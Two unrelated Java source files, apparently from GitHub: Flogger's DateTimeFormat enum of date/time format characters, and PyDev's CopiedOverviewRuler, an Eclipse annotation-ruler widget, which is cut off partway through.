* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.flogger.parameter;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
/**
* Supported date/time sub-format characters for the %t/%T formatting pattern.
* <p>
* WARNING: Many date/time format specifiers use the system default time-zone for formatting
* {@code Date} or {@code long} arguments. This makes it non system-portable, and its use is heavily
* discouraged with non-{@code Calendar} arguments.
*/
public enum DateTimeFormat {
// The following conversion characters are used for formatting times:
/**
* Hour of the day for the 24-hour clock, formatted as two digits with a leading zero as
* necessary, i.e. 00 - 23.
*/
TIME_HOUR_OF_DAY_PADDED('H'),
/** Hour of the day for the 24-hour clock, i.e. 0 - 23. */
TIME_HOUR_OF_DAY('k'),
/**
* Hour for the 12-hour clock, formatted as two digits with a leading zero as necessary,
* i.e. 01 - 12.
*/
TIME_HOUR_12H_PADDED('I'),
/** Hour for the 12-hour clock, i.e. 1 - 12. */
TIME_HOUR_12H('l'),
/**
* Minute within the hour formatted as two digits with a leading zero as necessary, i.e. 00 - 59.
*/
TIME_MINUTE_OF_HOUR_PADDED('M'),
/**
* Seconds within the minute, formatted as two digits with a leading zero as necessary,
* i.e. 00 - 60 ("60" is a special value required to support leap seconds).
*/
TIME_SECONDS_OF_MINUTE_PADDED('S'),
/**
* Millisecond within the second formatted as three digits with leading zeros as necessary,
* i.e. 000 - 999.
*/
TIME_MILLIS_OF_SECOND_PADDED('L'),
/**
* Nanosecond within the second, formatted as nine digits with leading zeros as necessary,
* i.e. 000000000 - 999999999.
*/
TIME_NANOS_OF_SECOND_PADDED('N'),
/** Locale-specific morning or afternoon marker in lower case, e.g. "am" or "pm". */
TIME_AM_PM('p'),
/**
* RFC 822 style numeric time zone offset from GMT, e.g. "-0800". This value will be adjusted as
* necessary for Daylight Saving Time. For long, Long, and Date the time zone used is the default
* time zone for this instance of the Java virtual machine.
*/
TIME_TZ_NUMERIC('z'),
/**
* A string representing the abbreviation for the time zone. This value will be adjusted as
* necessary for Daylight Saving Time. For long, Long, and Date the time zone used is the default
* time zone for this instance of the Java virtual machine.
*/
TIME_TZ_SHORT('Z'),
/** Seconds since the beginning of the epoch starting at 1 January 1970 00:00:00 UTC. */
TIME_EPOCH_SECONDS('s'),
/** Milliseconds since the beginning of the epoch starting at 1 January 1970 00:00:00 UTC. */
TIME_EPOCH_MILLIS('Q'),
// The following conversion characters are used for formatting dates:
/** Locale-specific full month name, e.g. "January", "February". */
DATE_MONTH_FULL('B'),
/** Locale-specific abbreviated month name, e.g. "Jan", "Feb". */
DATE_MONTH_SHORT('b'),
/** Same as 'b'. */
DATE_MONTH_SHORT_ALT('h'),
/** Locale-specific full name of the day of the week, e.g. "Sunday", "Monday". */
DATE_DAY_FULL('A'),
/** Locale-specific short name of the day of the week, e.g. "Sun", "Mon". */
DATE_DAY_SHORT('a'),
/**
* Four-digit year divided by 100, formatted as two digits with leading zero as necessary, i.e. 00
* - 99. Note that this is not strictly the "century", because "19xx" is "19", not "20".
*/
DATE_CENTURY_PADDED('C'),
/** Year, formatted as at least four digits with leading zeros as necessary, e.g. 0092. */
DATE_YEAR_PADDED('Y'),
/** Last two digits of the year, formatted with leading zeros as necessary, i.e. 00 - 99. */
DATE_YEAR_OF_CENTURY_PADDED('y'),
/** Day of year, formatted as three digits with leading zeros as necessary, e.g. 001 - 366. */
DATE_DAY_OF_YEAR_PADDED('j'),
/** Month, formatted as two digits with leading zeros as necessary, i.e. 01 - 13. */
DATE_MONTH_PADDED('m'),
/** Day of month, formatted as two digits with leading zeros as necessary, i.e. 01 - 31. */
DATE_DAY_OF_MONTH_PADDED('d'),
/** Day of month, formatted as two digits, i.e. 1 - 31. */
DATE_DAY_OF_MONTH('e'),
// The following conversion characters are used for formatting common date/time compositions.
/** Time formatted for the 24-hour clock as "%tH:%tM". */
DATETIME_HOURS_MINUTES('R'),
/** Time formatted for the 24-hour clock as "%tH:%tM:%tS". */
DATETIME_HOURS_MINUTES_SECONDS('T'),
/** Time formatted for the 12-hour clock as "%tI:%tM:%tS %Tp". */
DATETIME_HOURS_MINUTES_SECONDS_12H('r'),
/** Date formatted as "%tm/%td/%ty". */
DATETIME_MONTH_DAY_YEAR('D'),
/** ISO 8601 complete date formatted as "%tY-%tm-%td". */
DATETIME_YEAR_MONTH_DAY('F'),
/** Date and time formatted as "%ta %tb %td %tT %tZ %tY", e.g. "Sun Jul 20 16:17:00 EDT 1969". */
DATETIME_FULL('c');
private static final Map<Character, DateTimeFormat> MAP;
static {
Map<Character, DateTimeFormat> map = new HashMap<Character, DateTimeFormat>();
for (DateTimeFormat dtf : values()) {
if (map.put(dtf.formatChar, dtf) != null) {
throw new IllegalStateException("duplicate format character: " + dtf);
}
}
MAP = Collections.unmodifiableMap(map);
}
public static final DateTimeFormat of(char c) {
return MAP.get(c);
}
private final char formatChar;
DateTimeFormat(char formatChar) {
this.formatChar = formatChar;
}
public char getChar() {
return formatChar;
}
}
| {
"pile_set_name": "Github"
} |
package org.python.pydev.overview_ruler;
/*******************************************************************************
* Copyright (c) 2000, 2010 IBM Corporation and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* IBM Corporation - initial API and implementation
*******************************************************************************/
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.eclipse.jface.text.BadLocationException;
import org.eclipse.jface.text.IDocument;
import org.eclipse.jface.text.IRegion;
import org.eclipse.jface.text.ITextListener;
import org.eclipse.jface.text.ITextViewer;
import org.eclipse.jface.text.ITextViewerExtension5;
import org.eclipse.jface.text.Position;
import org.eclipse.jface.text.Region;
import org.eclipse.jface.text.TextEvent;
import org.eclipse.jface.text.source.Annotation;
import org.eclipse.jface.text.source.AnnotationModelEvent;
import org.eclipse.jface.text.source.IAnnotationAccess;
import org.eclipse.jface.text.source.IAnnotationAccessExtension;
import org.eclipse.jface.text.source.IAnnotationModel;
import org.eclipse.jface.text.source.IAnnotationModelListener;
import org.eclipse.jface.text.source.IAnnotationModelListenerExtension;
import org.eclipse.jface.text.source.IOverviewRuler;
import org.eclipse.jface.text.source.ISharedTextColors;
import org.eclipse.jface.text.source.projection.AnnotationBag;
import org.eclipse.jface.util.Util;
import org.eclipse.swt.SWT;
import org.eclipse.swt.custom.StyledText;
import org.eclipse.swt.events.DisposeEvent;
import org.eclipse.swt.events.DisposeListener;
import org.eclipse.swt.events.MouseAdapter;
import org.eclipse.swt.events.MouseEvent;
import org.eclipse.swt.events.MouseMoveListener;
import org.eclipse.swt.events.MouseTrackAdapter;
import org.eclipse.swt.events.PaintEvent;
import org.eclipse.swt.events.PaintListener;
import org.eclipse.swt.graphics.Color;
import org.eclipse.swt.graphics.Cursor;
import org.eclipse.swt.graphics.GC;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.RGB;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.widgets.Canvas;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Control;
import org.eclipse.swt.widgets.Display;
/**
* Ruler presented next to a source viewer showing all annotations of the
* viewer's annotation model in a compact format. The ruler has the same height
* as the source viewer.
* <p>
* Clients usually instantiate and configure objects of this class.</p>
*
* @since 2.1
*/
@SuppressWarnings({ "unchecked", "rawtypes" })
public class CopiedOverviewRuler implements IOverviewRuler {
/**
* Internal listener class.
*/
class InternalListener implements ITextListener, IAnnotationModelListener, IAnnotationModelListenerExtension {
/*
* @see ITextListener#textChanged
*/
public void textChanged(TextEvent e) {
if (fTextViewer != null && e.getDocumentEvent() == null && e.getViewerRedrawState()) {
// handle only changes of visible document
redraw();
}
}
/*
* @see IAnnotationModelListener#modelChanged(IAnnotationModel)
*/
public void modelChanged(IAnnotationModel model) {
update();
}
/*
* @see org.eclipse.jface.text.source.IAnnotationModelListenerExtension#modelChanged(org.eclipse.jface.text.source.AnnotationModelEvent)
* @since 3.3
*/
public void modelChanged(AnnotationModelEvent event) {
if (!event.isValid())
return;
if (event.isWorldChange()) {
update();
return;
}
Annotation[] annotations = event.getAddedAnnotations();
int length = annotations.length;
for (int i = 0; i < length; i++) {
if (!skip(annotations[i].getType())) {
update();
return;
}
}
annotations = event.getRemovedAnnotations();
length = annotations.length;
for (int i = 0; i < length; i++) {
if (!skip(annotations[i].getType())) {
update();
return;
}
}
annotations = event.getChangedAnnotations();
length = annotations.length;
for (int i = 0; i < length; i++) {
if (!skip(annotations[i].getType())) {
update();
return;
}
}
}
}
/**
* Enumerates the annotations of a specified type and characteristics
* of the associated annotation model.
*/
class FilterIterator implements Iterator {
final static int TEMPORARY = 1 << 1;
final static int PERSISTENT = 1 << 2;
final static int IGNORE_BAGS = 1 << 3;
private Iterator fIterator;
private Object fType;
private Annotation fNext;
private int fStyle;
/**
* Creates a new filter iterator with the given specification.
*
* @param annotationType the annotation type
* @param style the style
*/
public FilterIterator(Object annotationType, int style) {
fType = annotationType;
fStyle = style;
if (fModel != null) {
fIterator = fModel.getAnnotationIterator();
skip();
}
}
/**
* Creates a new filter iterator with the given specification.
*
* @param annotationType the annotation type
* @param style the style
* @param iterator the iterator
*/
public FilterIterator(Object annotationType, int style, Iterator iterator) {
fType = annotationType;
fStyle = style;
fIterator = iterator;
skip();
}
private void skip() {
boolean temp = (fStyle & TEMPORARY) != 0;
boolean pers = (fStyle & PERSISTENT) != 0;
boolean ignr = (fStyle & IGNORE_BAGS) != 0;
while (fIterator.hasNext()) {
Annotation next = (Annotation) fIterator.next();
if (next.isMarkedDeleted())
continue;
if (ignr && (next instanceof AnnotationBag))
continue;
fNext = next;
Object annotationType = next.getType();
if (fType == null || fType.equals(annotationType)
|| !fConfiguredAnnotationTypes.contains(annotationType) && isSubtype(annotationType)) {
if (temp && pers)
return;
if (pers && next.isPersistent())
return;
if (temp && !next.isPersistent())
return;
}
}
fNext = null;
}
private boolean isSubtype(Object annotationType) {
if (fAnnotationAccess instanceof IAnnotationAccessExtension) {
IAnnotationAccessExtension extension = (IAnnotationAccessExtension) fAnnotationAccess;
return extension.isSubtype(annotationType, fType);
}
return fType.equals(annotationType);
}
/*
* @see Iterator#hasNext()
*/
public boolean hasNext() {
return fNext != null;
}
/*
* @see Iterator#next()
*/
public Object next() {
try {
return fNext;
} finally {
if (fIterator != null)
skip();
}
}
/*
* @see Iterator#remove()
*/
public void remove() {
throw new UnsupportedOperationException();
}
}
/**
* The painter of the overview ruler's header.
*/
class HeaderPainter implements PaintListener {
private Color fIndicatorColor;
private Color fSeparatorColor;
/**
* Creates a new header painter.
*/
public HeaderPainter() {
fSeparatorColor = fHeader.getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW);
}
/**
* Sets the header color.
*
* @param color the header color
*/
public void setColor(Color color) {
fIndicatorColor = color;
}
private void drawBevelRect(GC gc, int x, int y, int w, int h, Color topLeft, Color bottomRight) {
gc.setForeground(topLeft);
gc.drawLine(x, y, x + w - 1, y);
gc.drawLine(x, y, x, y + h - 1);
gc.setForeground(bottomRight);
gc.drawLine(x + w, y, x + w, y + h);
gc.drawLine(x, y + h, x + w, y + h);
}
public void paintControl(PaintEvent e) {
if (fIndicatorColor == null)
return;
Point s = fHeader.getSize();
e.gc.setBackground(fIndicatorColor);
Rectangle headerBounds = fHeader.getBounds();
boolean isOnTop = headerBounds.y + headerBounds.height <= fCanvas.getLocation().y;
boolean isTall = s.y > s.x + 2 * ANNOTATION_HEIGHT;
int y;
if (!isOnTop) {
// not on top -> attach to bottom
y = s.y - 3 * ANNOTATION_HEIGHT;
} else if (isTall) {
// attach to top
y = ANNOTATION_HEIGHT;
} else {
// center
y = (s.y - (2 * ANNOTATION_HEIGHT)) / 2;
}
Rectangle r = new Rectangle(INSET, y, s.x - (2 * INSET), 2 * ANNOTATION_HEIGHT);
e.gc.fillRectangle(r);
// Display d= fHeader.getDisplay();
// drawBevelRect(e.gc, r.x, r.y, r.width -1, r.height -1, d.getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW), d.getSystemColor(SWT.COLOR_WIDGET_HIGHLIGHT_SHADOW));
drawBevelRect(e.gc, r.x, r.y, r.width - 1, r.height - 1, fSeparatorColor, fSeparatorColor);
e.gc.setForeground(fSeparatorColor);
e.gc.setLineWidth(0); // NOTE: 0 means width is 1 but with optimized performance
if (!isOnTop || !isTall) {
// only draw separator if at bottom or if gap is small
e.gc.drawLine(0, s.y - 1, s.x - 1, s.y - 1);
}
}
}
/**
* <code>true</code> if we're on a Mac, where "new GC(canvas)" is expensive.
* @see <a href="https://bugs.eclipse.org/298936">bug 298936</a>
* @since 3.6
*/
private static final boolean IS_MAC = Util.isMac();
private static final int INSET = 2;
private static final int ANNOTATION_HEIGHT = 4;
private static boolean ANNOTATION_HEIGHT_SCALABLE = true;
/** The model of the overview ruler */
private IAnnotationModel fModel;
/** The view to which this ruler is connected */
protected ITextViewer fTextViewer; //fabioz: changed to protected
/** The ruler's canvas */
protected Canvas fCanvas; //fabioz: changed to protected
/** The ruler's header */
private Canvas fHeader;
/** The buffer for double buffering */
private Image fBuffer;
/** The internal listener */
private InternalListener fInternalListener = new InternalListener();
/** The width of this vertical ruler */
protected int fWidth;
/** The hit detection cursor. Do not dispose. */
private Cursor fHitDetectionCursor;
/** The last cursor. Do not dispose. */
private Cursor fLastCursor;
/** The line of the last mouse button activity */
private int fLastMouseButtonActivityLine = -1;
/** The actual annotation height */
private int fAnnotationHeight = -1;
/** The annotation access */
private IAnnotationAccess fAnnotationAccess;
/** The header painter */
private HeaderPainter fHeaderPainter;
/**
* The list of annotation types to be shown in this ruler.
* @since 3.0
*/
private Set fConfiguredAnnotationTypes = new HashSet();
/**
* The list of annotation types to be shown in the header of this ruler.
* @since 3.0
*/
private Set fConfiguredHeaderAnnotationTypes = new HashSet();
/** The mapping between annotation types and colors */
private Map fAnnotationTypes2Colors = new HashMap();
/** The color manager */
private ISharedTextColors fSharedTextColors;
/**
* All available annotation types sorted by layer.
*
* @since 3.0
*/
private List fAnnotationsSortedByLayer = new ArrayList();
/**
* All available layers sorted by layer.
* This list may contain duplicates.
* @since 3.0
*/
private List fLayersSortedByLayer = new ArrayList();
/**
* Map of allowed annotation types.
* An allowed annotation type maps to <code>true</code>, a disallowed
* to <code>false</code>.
* @since 3.0
*/
private Map fAllowedAnnotationTypes = new HashMap();
/**
* Map of allowed header annotation types.
* An allowed annotation type maps to <code>true</code>, a disallowed
* to <code>false</code>.
* @since 3.0
*/
private Map fAllowedHeaderAnnotationTypes = new HashMap();
/**
* The cached annotations.
* @since 3.0
*/
private List fCachedAnnotations = new ArrayList();
/**
* Redraw runnable lock
* @since 3.3
*/
private Object fRunnableLock = new Object();
/**
* Redraw runnable state
* @since 3.3
*/
private boolean fIsRunnablePosted = false;
/**
* Redraw runnable
* @since 3.3
*/
private Runnable fRunnable = new Runnable() {
public void run() {
synchronized (fRunnableLock) {
fIsRunnablePosted = false;
}
redraw();
updateHeader();
}
};
/**
* Tells whether temporary annotations are drawn with
* a separate color. This color will be computed by
* discoloring the original annotation color.
*
* @since 3.4
*/
private boolean fIsTemporaryAnnotationDiscolored;
/**
* Constructs a overview ruler of the given width using the given annotation access and the given
* color manager.
* <p><strong>Note:</strong> As of 3.4, temporary annotations are no longer discolored.
* Use {@link #OverviewRuler(IAnnotationAccess, int, ISharedTextColors, boolean)} if you
* want to keep the old behavior.</p>
*
* @param annotationAccess the annotation access
* @param width the width of the vertical ruler
* @param sharedColors the color manager
*/
public CopiedOverviewRuler(IAnnotationAccess annotationAccess, int width, ISharedTextColors sharedColors) {
this(annotationAccess, width, sharedColors, false);
}
/**
* Constructs a overview ruler of the given width using the given annotation
* access and the given color manager.
*
* @param annotationAccess the annotation access
* @param width the width of the vertical ruler
* @param sharedColors the color manager
* @param discolorTemporaryAnnotation <code>true</code> if temporary annotations should be discolored
* @since 3.4
*/
public CopiedOverviewRuler(IAnnotationAccess annotationAccess, int width, ISharedTextColors sharedColors,
boolean discolorTemporaryAnnotation) {
fAnnotationAccess = annotationAccess;
fWidth = width;
fSharedTextColors = sharedColors;
fIsTemporaryAnnotationDiscolored = discolorTemporaryAnnotation;
}
/*
* @see org.eclipse.jface.text.source.IVerticalRulerInfo#getControl()
*/
public Control getControl() {
return fCanvas;
}
/*
* @see org.eclipse.jface.text.source.IVerticalRulerInfo#getWidth()
*/
public int getWidth() {
return fWidth;
}
/*
* @see org.eclipse.jface.text.source.IVerticalRuler#setModel(org.eclipse.jface.text.source.IAnnotationModel)
*/
public void setModel(IAnnotationModel model) {
if (model != fModel || model != null) {
if (fModel != null)
fModel.removeAnnotationModelListener(fInternalListener);
fModel = model;
if (fModel != null)
fModel.addAnnotationModelListener(fInternalListener);
update();
}
}
/*
* @see org.eclipse.jface.text.source.IVerticalRuler#createControl(org.eclipse.swt.widgets.Composite, org.eclipse.jface.text.ITextViewer)
*/
public Control createControl(Composite parent, ITextViewer textViewer) {
fTextViewer = textViewer;
fHitDetectionCursor = parent.getDisplay().getSystemCursor(SWT.CURSOR_HAND);
fHeader = new Canvas(parent, SWT.NONE);
if (fAnnotationAccess instanceof IAnnotationAccessExtension) {
fHeader.addMouseTrackListener(new MouseTrackAdapter() {
/*
* @see org.eclipse.swt.events.MouseTrackAdapter#mouseHover(org.eclipse.swt.events.MouseEvent)
* @since 3.3
*/
public void mouseEnter(MouseEvent e) {
updateHeaderToolTipText();
}
});
}
fCanvas = new Canvas(parent, SWT.NO_BACKGROUND);
fCanvas.addPaintListener(new PaintListener() {
public void paintControl(PaintEvent event) {
if (fTextViewer != null)
doubleBufferPaint(event.gc);
}
});
fCanvas.addDisposeListener(new DisposeListener() {
public void widgetDisposed(DisposeEvent event) {
handleDispose();
fTextViewer = null;
}
});
fCanvas.addMouseListener(new MouseAdapter() {
public void mouseDown(MouseEvent event) {
handleMouseDown(event);
}
public void mouseUp(MouseEvent event) {
handleMouseUp(event);
}
});
fCanvas.addMouseMoveListener(new MouseMoveListener() {
public void mouseMove(MouseEvent event) {
handleMouseMove(event);
}
});
if (fTextViewer != null)
fTextViewer.addTextListener(fInternalListener);
return fCanvas;
}
/**
* Disposes the ruler's resources.
*/
private void handleDispose() {
if (fTextViewer != null) {
fTextViewer.removeTextListener(fInternalListener);
fTextViewer = null;
}
if (fModel != null)
fModel.removeAnnotationModelListener(fInternalListener);
if (fBuffer != null) {
fBuffer.dispose();
fBuffer = null;
}
fConfiguredAnnotationTypes.clear();
fAllowedAnnotationTypes.clear();
fConfiguredHeaderAnnotationTypes.clear();
fAllowedHeaderAnnotationTypes.clear();
fAnnotationTypes2Colors.clear();
fAnnotationsSortedByLayer.clear();
fLayersSortedByLayer.clear();
}
/**
* Double buffer drawing.
*
* @param dest the GC to draw into
*/
protected void doubleBufferPaint(GC dest) { //fabioz: changed to protected
Point size = fCanvas.getSize();
if (size.x <= 0 || size.y <= 0)
return;
if (fBuffer != null) {
Rectangle r = fBuffer.getBounds();
if (r.width != size.x || r.height != size.y) {
fBuffer.dispose();
fBuffer = null;
}
}
if (fBuffer == null)
fBuffer = new Image(fCanvas.getDisplay(), size.x, size.y);
GC gc = new GC(fBuffer);
try {
gc.setBackground(fCanvas.getBackground());
gc.fillRectangle(0, 0, size.x, size.y);
cacheAnnotations();
doPaint1(gc);
} finally {
gc.dispose();
}
dest.drawImage(fBuffer, 0, 0);
}
private void cacheAnnotations() {
fCachedAnnotations.clear();
if (fModel != null) {
Iterator iter = fModel.getAnnotationIterator();
while (iter.hasNext()) {
Annotation annotation = (Annotation) iter.next();
if (annotation.isMarkedDeleted())
continue;
if (skip(annotation.getType()))
continue;
fCachedAnnotations.add(annotation);
}
}
}
/**
* Draws this overview ruler. Uses <code>ITextViewerExtension5</code> for
* its implementation. Will replace <code>doPaint(GC)</code>.
*
* @param gc the GC to draw into
*/
protected void doPaint1(GC gc) { //fabioz: Changed to protected
Rectangle r = new Rectangle(0, 0, 0, 0);
int yy, hh = ANNOTATION_HEIGHT;
ITextViewerExtension5 extension = (ITextViewerExtension5) fTextViewer;
IDocument document = fTextViewer.getDocument();
StyledText textWidget = fTextViewer.getTextWidget();
int maxLines = getLineCount(textWidget);
Point size = fCanvas.getSize();
//Removed: that's not what we expect when drawing the minimap.
//int writable = JFaceTextUtil.computeLineHeight(textWidget, 0, maxLines, maxLines);
//if (size.y > writable)
// size.y = Math.max(writable - fHeader.getSize().y, 0);
for (Iterator iterator = fAnnotationsSortedByLayer.iterator(); iterator.hasNext();) {
Object annotationType = iterator.next();
if (skip(annotationType))
continue;
int[] style = new int[] { FilterIterator.PERSISTENT, FilterIterator.TEMPORARY };
for (int t = 0; t < style.length; t++) {
Iterator e = new FilterIterator(annotationType, style[t], fCachedAnnotations.iterator());
boolean areColorsComputed = false;
Color fill = null;
Color stroke = null;
while (e.hasNext()) {
Annotation a = (Annotation) e.next();
Position p = fModel.getPosition(a);
if (p == null)
continue;
IRegion widgetRegion = extension.modelRange2WidgetRange(new Region(p.getOffset(), p.getLength()));
if (widgetRegion == null)
continue;
try {
if (ANNOTATION_HEIGHT_SCALABLE) {
int numbersOfLines = document.getNumberOfLines(p.getOffset(), p.getLength());
// don't count empty trailing lines
IRegion lastLine = document.getLineInformationOfOffset(p.getOffset() + p.getLength());
if (lastLine.getOffset() == p.getOffset() + p.getLength()) {
numbersOfLines -= 2;
hh = (numbersOfLines * size.y) / maxLines + ANNOTATION_HEIGHT;
if (hh < ANNOTATION_HEIGHT)
hh = ANNOTATION_HEIGHT;
} else
hh = ANNOTATION_HEIGHT;
}
fAnnotationHeight = hh;
int startLine = textWidget.getLineAtOffset(widgetRegion.getOffset());
yy = Math.min((startLine * size.y) / maxLines, size.y - hh);
if (!areColorsComputed) {
fill = getFillColor(annotationType, style[t] == FilterIterator.TEMPORARY);
stroke = getStrokeColor(annotationType, style[t] == FilterIterator.TEMPORARY);
areColorsComputed = true;
}
if (fill != null) {
gc.setBackground(fill);
gc.fillRectangle(INSET, yy, size.x - (2 * INSET), hh);
}
if (stroke != null) {
gc.setForeground(stroke);
r.x = INSET;
r.y = yy;
if (yy + hh == size.y)
r.y--;
r.width = size.x - (2 * INSET);
r.height = hh;
gc.setLineWidth(0); // NOTE: 0 means width is 1 but with optimized performance
gc.drawRectangle(r);
}
} catch (Exception x) {
}
}
}
}
}
protected int getLineCount(StyledText textWidget) {
int lineCount = textWidget.getLineCount();
if (lineCount < 100) {
lineCount = 100;
}
return lineCount;
}
/*
* @see org.eclipse.jface.text.source.IVerticalRuler#update()
*/
public void update() {
if (fCanvas != null && !fCanvas.isDisposed()) {
Display d = fCanvas.getDisplay();
if (d != null) {
synchronized (fRunnableLock) {
if (fIsRunnablePosted)
return;
fIsRunnablePosted = true;
}
d.asyncExec(fRunnable);
}
}
}
/**
* Redraws the overview ruler.
*/
protected void redraw() { //fabioz change: made protected
if (fTextViewer == null || fModel == null)
return;
if (fCanvas != null && !fCanvas.isDisposed()) {
//if (IS_MAC) { -- Leave the MAC behavior the default for all platforms
//(is this was more an optimization for it because new GC() was slow, so, simply
//use the same path for all platforms).
fCanvas.redraw();
fCanvas.update();
//} else {
// GC gc = new GC(fCanvas);
// doubleBufferPaint(gc);
// gc.dispose();
//}
}
}
/**
* Translates a given y-coordinate of this ruler into the corresponding
* document lines. The number of lines depends on the concrete scaling
* given as the ration between the height of this ruler and the length
* of the document.
*
* @param y_coordinate the y-coordinate
* @return the corresponding document lines
*/
protected int[] toLineNumbers(int y_coordinate) {
StyledText textWidget = fTextViewer.getTextWidget();
int maxLines = getLineCount(textWidget);
int rulerLength = fCanvas.getSize().y;
int writable = rulerLength;
//Removed: that's not what we expect when drawing the minimap.
//int writable = JFaceTextUtil.computeLineHeight(textWidget, 0, maxLines, maxLines);
//
//if (rulerLength > writable)
// rulerLength = Math.max(writable - fHeader.getSize().y, 0);
if (y_coordinate >= writable || y_coordinate >= rulerLength)
return new int[] { -1, -1 };
int[] lines = new int[2];
int pixel0 = Math.max(y_coordinate - 1, 0);
int pixel1 = Math.min(rulerLength, y_coordinate + 1);
rulerLength = Math.max(rulerLength, 1);
lines[0] = (pixel0 * maxLines) / rulerLength;
lines[1] = (pixel1 * maxLines) / rulerLength;
if (fTextViewer instanceof ITextViewerExtension5) {
ITextViewerExtension5 extension = (ITextViewerExtension5) fTextViewer;
lines[0] = extension.widgetLine2ModelLine(lines[0]);
lines[1] = extension.widgetLine2ModelLine(lines[1]);
} else {
try {
IRegion visible = fTextViewer.getVisibleRegion();
int lineNumber = fTextViewer.getDocument().getLineOfOffset(visible.getOffset());
lines[0] += lineNumber;
lines[1] += lineNumber;
} catch (BadLocationException x) {
}
}
return lines;
}
/**
* Returns the position of the first annotation found in the given line range.
*
* @param lineNumbers the line range
* @return the position of the first found annotation
*/
protected Position getAnnotationPosition(int[] lineNumbers) {
if (lineNumbers[0] == -1)
return null;
Position found = null;
try {
IDocument d = fTextViewer.getDocument();
IRegion line = d.getLineInformation(lineNumbers[0]);
int start = line.getOffset();
line = d.getLineInformation(lineNumbers[lineNumbers.length - 1]);
int end = line.getOffset() + line.getLength();
for (int i = fAnnotationsSortedByLayer.size() - 1; i >= 0; i--) {
Object annotationType = fAnnotationsSortedByLayer.get(i);
Iterator e = new FilterIterator(annotationType, FilterIterator.PERSISTENT | FilterIterator.TEMPORARY);
while (e.hasNext() && found == null) {
Annotation a = (Annotation) e.next();
if (a.isMarkedDeleted())
continue;
if (skip(a.getType()))
continue;
Position p = fModel.getPosition(a);
if (p == null)
continue;
int posOffset = p.getOffset();
int posEnd = posOffset + p.getLength();
IRegion region = d.getLineInformationOfOffset(posEnd);
// trailing empty lines don't count
if (posEnd > posOffset && region.getOffset() == posEnd) {
posEnd--;
region = d.getLineInformationOfOffset(posEnd);
}
if (posOffset <= end && posEnd >= start)
found = p;
}
}
} catch (BadLocationException x) {
}
return found;
}
/**
* Returns the line which corresponds best to one of
* the underlying annotations at the given y-coordinate.
*
* @param lineNumbers the line numbers
* @return the best matching line or <code>-1</code> if no such line can be found
*/
private int findBestMatchingLineNumber(int[] lineNumbers) {
if (lineNumbers == null || lineNumbers.length < 1)
return -1;
try {
Position pos = getAnnotationPosition(lineNumbers);
if (pos == null)
return -1;
return fTextViewer.getDocument().getLineOfOffset(pos.getOffset());
} catch (BadLocationException ex) {
return -1;
}
}
/**
* Handles mouse clicks.
*
* @param event the mouse button down event
*/
protected void handleMouseDown(MouseEvent event) {
if (fTextViewer != null) {
int[] lines = toLineNumbers(event.y);
Position p = getAnnotationPosition(lines);
if (p == null && event.button == 1) {
try {
p = new Position(fTextViewer.getDocument().getLineInformation(lines[0]).getOffset(), 0);
} catch (BadLocationException e) {
// do nothing
}
}
if (p != null) {
fTextViewer.revealRange(p.getOffset(), p.getLength());
fTextViewer.setSelectedRange(p.getOffset(), p.getLength());
}
fTextViewer.getTextWidget().setFocus();
}
fLastMouseButtonActivityLine = toDocumentLineNumber(event.y);
}
/**
* Handles mouse clicks.
*
* @param event the mouse button down event
*/
protected void handleMouseUp(MouseEvent event) {
//Available for subclasses.
}
/**
* Handles mouse moves.
*
* @param event the mouse move event
*/
protected void handleMouseMove(MouseEvent event) {
if (fTextViewer != null) {
int[] lines = toLineNumbers(event.y);
Position p = getAnnotationPosition(lines);
Cursor cursor = (p != null ? fHitDetectionCursor : null);
if (cursor != fLastCursor) {
fCanvas.setCursor(cursor);
fLastCursor = cursor;
}
}
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#addAnnotationType(java.lang.Object)
*/
public void addAnnotationType(Object annotationType) {
fConfiguredAnnotationTypes.add(annotationType);
fAllowedAnnotationTypes.clear();
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#removeAnnotationType(java.lang.Object)
*/
public void removeAnnotationType(Object annotationType) {
fConfiguredAnnotationTypes.remove(annotationType);
fAllowedAnnotationTypes.clear();
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#setAnnotationTypeLayer(java.lang.Object, int)
*/
public void setAnnotationTypeLayer(Object annotationType, int layer) {
int j = fAnnotationsSortedByLayer.indexOf(annotationType);
if (j != -1) {
fAnnotationsSortedByLayer.remove(j);
fLayersSortedByLayer.remove(j);
}
if (layer >= 0) {
int i = 0;
int size = fLayersSortedByLayer.size();
while (i < size && layer >= ((Integer) fLayersSortedByLayer.get(i)).intValue())
i++;
Integer layerObj = new Integer(layer);
fLayersSortedByLayer.add(i, layerObj);
fAnnotationsSortedByLayer.add(i, annotationType);
}
}
/*
* @see org.eclipse.jface.text.source.IOverviewRuler#setAnnotationTypeColor(java.lang.Object, org.eclipse.swt.graphics.Color)
*/
public void setAnnotationTypeColor(Object annotationType, Color color) {
if (color != null)
fAnnotationTypes2Colors.put(annotationType, color);
else
fAnnotationTypes2Colors.remove(annotationType);
}
/**
* Returns whether the given annotation type should be skipped by the drawing routine.
*
* @param annotationType the annotation type
* @return <code>true</code> if annotation of the given type should be skipped
*/
private boolean skip(Object annotationType) {
return !contains(annotationType, fAllowedAnnotationTypes, fConfiguredAnnotationTypes);
}
/**
* Returns whether the given annotation type should be skipped by the drawing routine of the header.
*
* @param annotationType the annotation type
* @return <code>true</code> if annotation of the given type should be skipped
* @since 3.0
*/
private boolean skipInHeader(Object annotationType) {
return !contains(annotationType, fAllowedHeaderAnnotationTypes, fConfiguredHeaderAnnotationTypes);
}
/**
* Returns whether the given annotation type is mapped to <code>true</code>
